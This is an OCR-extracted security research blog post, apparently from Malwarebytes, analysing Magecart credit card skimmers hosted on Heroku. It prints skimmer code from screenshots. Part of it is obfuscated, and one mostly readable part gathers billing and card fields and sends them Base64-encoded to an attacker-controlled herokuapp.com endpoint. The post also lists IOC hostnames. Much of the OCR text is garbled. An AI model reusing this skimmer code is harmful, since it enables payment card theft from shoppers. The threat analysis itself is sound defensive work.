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Criminals love to abuse legitimate services—especially platform-as-a-service (Paas) cloud providers—as they are

a popular and reliable hosting commodity used to support both business and consumer ventures.

Case in point, in April 2019 we documented a web skimmer served on code repository GitHub. Later on in June,

we observed a vast campaign where skimming code was injected into Amazon S3 buckets.

This time, we take a look at a rash of skimmers found on Heroku, a container-based, cloud PaaS owned by

Salesforce. Threat actors are leveraging the service not only to host their skimmer infrastructure, but also to

collect stolen credit card data.

All instances of abuse found have already been reported to Heroku and taken down. We would like to thank the

Salesforce Abuse Operations team for their swift response to our notification.

Abusing cloud apps for skimming

Developers can leverage Heroku to build apps in a variety of languages and deploy them seamlessly at scale.
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Build apps for free on Heroku

EXPLORE WHAT'S FREE ON HEROKU

Many developers are looking for a free cloud web hosting services to run their apps,
blogs, or bots without the hassle of managing servers. Others are curious about
trying the platform-as-a-service model, but not guite ready to invest. Here's an

overview of free cloud services for developers available through the Heroku platform

and ecosystem.

Heroku has a freemium model, and new users can experiment with the plaform’s free web hosting services with
certain limitations. The crooked part of the Magecart cabal were registering free accounts with Heroku to host

their skimming business.
Their web skimming app consists of three components:

e The core skimmer that will be injected into compromised merchant sites, responsible for detecting the
checkout URL and loading the next component.
e Arogue iframe that will overlay the standard payment form meant to harvest the victim’s credit card data.

e The exfiltration mechanism for the stolen data that is sent back in encoded format.
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Host URL Body Comments
4 ipure-peak-91770.herokuapp.com /configuration.js 3,932 Skimming script
2pure-peak-91770.herokuapp.com /frame/payment.html?utm_... 7,333 Fake CC iframe
3:pure-peak-91770.herokuapp.com /config.php?id=eyInZGRyZ... 0 Data exfiltration
war a = ['ZZVIEWxlbWWVudHNCeUShbWU=" 'ImSyBEWFjal—" 6 'dmFadWU=',6 "YWEkRXZ1bnBMaXNIZWSlcg—" k6 "
Y2Zhhbmdl', 'ZZVORWxlbWUVudEJSSWR=", 'IZXAtUSFSbWVudEZvem0=',6 'aHJ1Zg==", 'aWSkZXhPZg=—="',6 '¥XBEvY¥g=—"'
it it © it

.;HRD getElementsByNameforEachvalueaddEvenilistenerchangegetElementByldep- =1

r « PaymentFormhrefindexOfatobY2nlY 2ivdXQ=gefliemsrchitps: fpure-peak-91770_herokuapp.comiframe/payment.himl ?
g1 utm_campaign=removeltemuim2hostnameuser_ageniuserAgentuser_idsetltemstringifykeyslengthreturn (function()

et .constructor("return this"){ jconsclelogwamdebuginfoerrorexceptiontracecouniry_idielephone '
beon posicodelasinameaddressicityadditional2statephonenamelname

¥291bnRyeVIpZk=="6 'dGUsZXBobZE5l', 'cG9zdGNvEIGU=', 'bGFzdGShbWU=', '¥YWRkemVzczE=', '¥Y2l0ef=—=', '
YWRkaXRpb2Z5hbDI=",6 'c3RhdGU=", 'cCGhvbml=',6 'bmFtZ{==",6 'bGShbWU="];

1 (functionic, d) {
wvar & = function(f) {
while (——-£) |
cl["push']ic['ahift"] ()]

<head>

<link rel="stylesheet"™ type="text/cs3"™ href="https://portal . apsclicktopay.com/cas/build/
easypay.min.css">

Iia, <link href="https://fonts.googleapis.com/cas?family=Raleway:300" rel="styleshest">
e <style type="text/css">
2 body, input, _btn, a {

font-family: 'Raleway”’;

t

GET /corfig php Fid=egee g Sl gl i t
Client
3 Miscellaneous

Referer: https:/fpure-peak-31770.herokuapp. com fframe fpayment.html?utm_campaign =ITdCITIyYWR ]

iframe trick

Compromised shopping sites are injected with a single line of code that loads the remote piece of JavaScript. Its
goal is to monitor the current page and load a second element (a malicious credit card iframe) when the current

browser URL contains the Base64 encoded string Y2hlY2tvdXQ= (checkout).

OUR ENTIRE SITE 20% OFF!

Discount will be Applied During Checkout?

(5] x  +

C @ view-source:https://www

42 }("https://s.pinimg.com/ct/core.js™);

44| pintrk('load', "2613022176591");

45 | pintrk( ' page’);

46 «/scripts

47 |<script src="https://pure-peak-9177@. herckuapp.com/configuration.js"></scripts|

4% [TNOECTIpT

42| <img height="1" width="1" style="display:none;" alt="" src="https://ct.pinterest.com/v3/?tid=261302
5| «/noscript>

51| <!-- End Pinterest Pixel Base Code --!»
52| «meta name="p:domain_verify" content="779358665T130635b54fe2ae2c3384e4” />
53| <style>
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The iframe is drawn above the standard payment form and looks identical to it, as the cybercriminals use the same

cascading style sheet (CSS) from portal.apsclicktopay.com/css/build/easypay.min.css.

B Checkout 4 =+

€ > C & .. . . [/checkout/#payment

€ DevTools - www s s /checkout/

[w ﬂ | Elements  Console  Sources  Metwork  Performance  Memory  Application Secur

TGOS T e T TP POy R T T T T
“https://secure.apspaymentgateway.com/ * Styles  Comput
apisfv2/three-step/3mlt7s5d"» .

Enter Payment Filter
Details element.style {
<fbutton> 3

<pr/fpr

¥ cp class="ShowIflLoggedIn” style=
"display:none; " :.</p>

¥ iframe class="ep-PaymentFormInlins" . .
id="ep-PaymentForm” style="width:106%; 3 display: ble
border:8; height:55@8px;" src="hitps:// -
pure-peak-91778. herokuapp . com/frame/ -checkout-payme
payment .html 2utm campaign=. .pay{lent—rlethnd

.Checkout -payme
.payment-method
content {

disploys—Ron
" padding: » 8
v #document . b
¥ <hitml > media="screen a
b cheadsa</head> *{

Finally, the stolen data is exfiltrated, after which victims will receive an error message instructing them to reload

the page. This may be because the form needs to be repopulated properly, without the iframe this time.
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Enter Payment

Unexpected error. Please reload the page and try again.

Credit Card Mumber
Expiration (MMYY)

CWV

Several Heroku-hosted skimmers found

This is not the only instance of a credit card skimmer found on Heroku. We identified several others using the

same naming convention for their script, all seemingly becoming active within the past week.

In one case, the threat actors may have forgotten to use obfuscation. The code shows vanilla skimming, looking

for specific fields to collect and exfiltrate using the window.btoa(JSON.stringify(result)) method.
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% Progress Telerik Fiddler Session £5 - http://aquecus-scrubland-51318.herokuapp.com/integration.s EI@
1 Request || ! Response | [El Properties |

| Headers | TextView |Syn13x'\a"|ew | ImageView | HexView I WebView | Auth | Caching | Cookies | Raw I 150N | ¥ML |

var elems = {};
var result = {i; b
var final = {;

war sublkeys, ids;

»

function formatiresult, usubkeys) |
vari=0;
for Jet el in result) {
finallusubkeys[i]] = result[el];

|+

retum final;

if (window location href indexCfiwindow atob("b259c 3RIcGNo ZWNb IVD™) = 0) {
var checkFirst = setintervalfunction ) {
var checkoutBtn = document get Element Byld(payone_creditcard_cc_owner’);
if (checkoutBtn) {
setTimeout(( == {
i (lislnStorage() {
et Ji.
var ids = [hilling:email’, biling street 1°, hilling :city”, biling:country_id", hilling region_id’, hilling telephone’,
iling:postcode’, ‘payone_creditcard_cc_owner', payone_creditcard_cc_number’, payone_creditcard_cc_expiration_manth’,
ayone_creditcard_cc_expiration_year’, payone_creditcard_cc_cid;
var subkeys = [additional1’, "address 1", ‘city’, "additional2’, state”, phone’, zip’, name’, 'cc’, ‘'mm”, yy". ‘cwv];

m

ids forEachfunction (v, k) {
elems[k] = document .get Bements By MName{v)[0];
i {elemsk].value 1= {

result[l] = elemsk] value;

elems[k] addEvent Listener("change”, function (evert) {
resultk] = elemsk].value;
event stopPropagation();

o

var final Timer = setinterval{) == {
if lisMot Empty Fields(resut, ids)) {

result =format(result, subleys);

ff fresutt[cc]length == 15 && resukt[cvv]length == 3) {
clearinterval final Timer);
result = addBdrairesult);
var d = window btoalJSON stingifyfresult));
var img =new Image(1, 1);
ud = "hitps://agueous-scrubland-51318 herokuapp.com//corfig php %id=";
img.src =ud +d;

) localStorage sethem{u 1, true’);

37:60  1,657/2,932 |Find... (press Ctrl+Enter to highlight all) | | View in Notepad ||z|

We will likely continue to observe web skimmers abusing more cloud services as they are a cheap (even free)

commodity they can discard when finished using it.

From a detection standpoint, skimmers hosted on cloud providers may cause some issues with false positives. For
example, one cannot blacklist a domain used by thousands of other legitimate users. However, in this case we can

easily do full qualified domain (FQDN) detections and block just that malicious user.
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Malwarebytes | Premium

" Website blocked due to hijack

Learn about hijack If you don't want to block this website, you
can exclude it from website protection by accessing Exclusions.

Domain: securedatacorner.com

IP Address: 104212524

Fort: 443

Type: Outbound

File: C\Program Files (x86)\G...e\Application\chrome exe

Manage Exclusinns] Close

Indicators of Compromise (IOCs)
Skimmer hostnames on Heroku

ancient-savannah-86049[.]herokuapp.com
pure-peak-91770[.]herokuapp[.]Jcom
aqueous-scrubland-51318[.]herokuapp[.]Jcom
stark-gorge-44782 .herokuappl.]Jcom
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